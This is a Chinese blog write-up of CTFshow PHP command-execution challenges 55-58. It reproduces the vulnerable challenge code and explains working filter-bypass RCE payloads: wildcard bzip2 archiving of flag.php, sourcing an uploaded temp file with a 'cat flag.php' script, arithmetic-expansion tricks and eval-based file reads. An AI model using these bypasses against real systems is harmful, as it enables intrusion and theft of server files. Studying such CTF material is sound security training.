CTFshow web(php命令执行 55-59)

web55

<?php

/*

-*- coding: utf-8 -*-

@Author: Lazzaro

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-07 20:03:51

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

// 你们在炫技吗?

if(isset($_GET['c'])){

c=_GET['c'];

if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){

system($c);

}

}else{

highlight_file(FILE);

}

遇到这类题目解法比较固定,这类题目一个解法是无字母RCE,运用自增和异或相关脚本构造system ls的另外形式,比如:("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");

CTFshow web(命令执行 41-44)-CSDN博客

我的上一篇文章有介绍,建议可以去看看

这里是另外的做法:

复制代码
利用 bzip2打包,然后访问打包文件
c=/???/???/????2 ????.???    //对 flag.php 进行打包,默认打包后缀 bz2
接下来直接访问 url/flag.php.bz2,进行下载,获取 flag
直接等同于/usr/bin/bzip2 flag.php

题目知识点学习(牢牢掌握):

  1. /bin 目录:/bin 是系统的二进制目录之一,用于存放基本的执行命令。这些命令通常是系统启动和基本功能所必需的,因此在系统启动过程中就能访问到。

  2. 公用命令:/bin 目录存放了许多常用的命令,如 lscpmvrmmkdircat 等。这些命令用于完成文件和目录的管理、文本处理、文件传输等常见操作。

  3. 可执行文件:/bin 目录下的文件都是可执行文件,可以通过在命令行中输入命令来执行它们。

  4. 环境变量 PATH:在环境变量 PATH 中包含了一组目录的路径,其中包括 /bin 目录。这意味着当您在命令行中输入一个命令时,系统会自动搜索 /bin 目录以确认命令的可执行文件所在位置。

  5. 访问权限:/bin 目录下的文件通常有很高的访问权限,只有具有适当权限的用户才能对这些文件进行执行、读取或修改操作。通常,这些命令文件属于系统管理员(root)或具有特定权限的用户。

总结:其实过滤越多,越大的题目,看似面临着绝境,但其实也往往是机遇,因为这告诉你方向无非就两个:无回显RCE,以及/bin目录命令执行过滤,在过滤如此之大的时候其他方法都比较困难,这里掌握方法后直接套用就好了 。

web56

<?php

/*

-*- coding: utf-8 -*-

@Author: Lazzaro

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-07 22:02:47

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

// 你们在炫技吗?

if(isset($_GET['c'])){

c=_GET['c'];

if(!preg_match("/\;|[a-z]|[0-9]|\\\|\\(\|\\{\|\\'\|\\"\|\\\`\|\\%\|\\x09\|\\x26\|\\\>\|\\\c)){

system($c);

}

}else{

highlight_file(FILE);

}

/bin 目录存放了许多常用的 Shell 命令,这些命令是通过 Shell 解释器来执行的,

其实也可以直接归属到shell命令里面,这里过滤的更恐怖数字字母都没有了,无回显RCE也很困难,这里直接使用shell命令

在linux里面临时存放文件的目录可能会被定时删除这个目录是/tmp,然后一般网页文件会命名为php???,后面是随机的字母,即:/tmp/phpXXXXXX
所以需要规定一个范围[@-[],从@-[就是26个字母然后关于上传文件的内容

php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了

直接上POSTman

payload:

?c=. /???/????????[@-[]

POSTman使用:

在Postman中上传文件的方法如下:

打开后变成POST,把网页复制然后点击Body,

点击file模式,自己选择上传的文件,然后把名字写进去,最后Send就好

文件内容:

#!/bin/sh

cat flag.php

web57

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-08 01:02:56

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

// 还能炫的动吗?

//flag in 36.php

if(isset($_GET['c'])){

c=_GET['c'];

if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){

system("cat ".$c.".php");

}

}else{

highlight_file(FILE);

}

这里一句话:其实就是构造出36

问题是过滤了数字的情况下怎么弄出36

那就回到了无回显RCE问题了
原理是:
${_}=""
$((${_}))=0
$((~$((${_}))))=-1
然后拼接出-36再进行取反

//${_}会输出上一次的执行结果

payload:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

web58

<?php

/*

-*- coding: utf-8 -*-

@Author: Lazzaro

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-07 22:02:47

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

// 你们在炫技吗?

if(isset($_POST['c'])){

c= _POST['c'];

eval($c);

}else{

highlight_file(FILE);

}

这里好多了,其实就是一个禁用函数,我还是那句话,如果你不知道对面禁用了啥,那就一个一个地尝试!!!

可以看看我的一篇文章,有很多命令执行语句攻击总结

一篇文章带你进阶CTF命令执行-CSDN博客

一个个丢进去,看那个能够中奖吧,因为你不知道对面过滤了啥!

payload:

POST:c=echo file_get_contents('flag.php');

PS:真诚地希望我的文章能够帮助大家,今年过年也是如约抽空更新了,祝愿各位龙年吉祥,谢谢!

相关推荐
JaguarJack5 小时前
FrankenPHP 原生支持 Windows 了
后端·php·服务端
BingoGo6 小时前
FrankenPHP 原生支持 Windows 了
后端·php
JaguarJack1 天前
PHP 的异步编程 该怎么选择
后端·php·服务端
BingoGo1 天前
PHP 的异步编程 该怎么选择
后端·php
JaguarJack2 天前
为什么 PHP 闭包要加 static?
后端·php·服务端
ServBay3 天前
垃圾堆里编码?真的不要怪 PHP 不行
后端·php
用户962377954483 天前
CTF 伪协议
php
BingoGo5 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack5 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo6 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php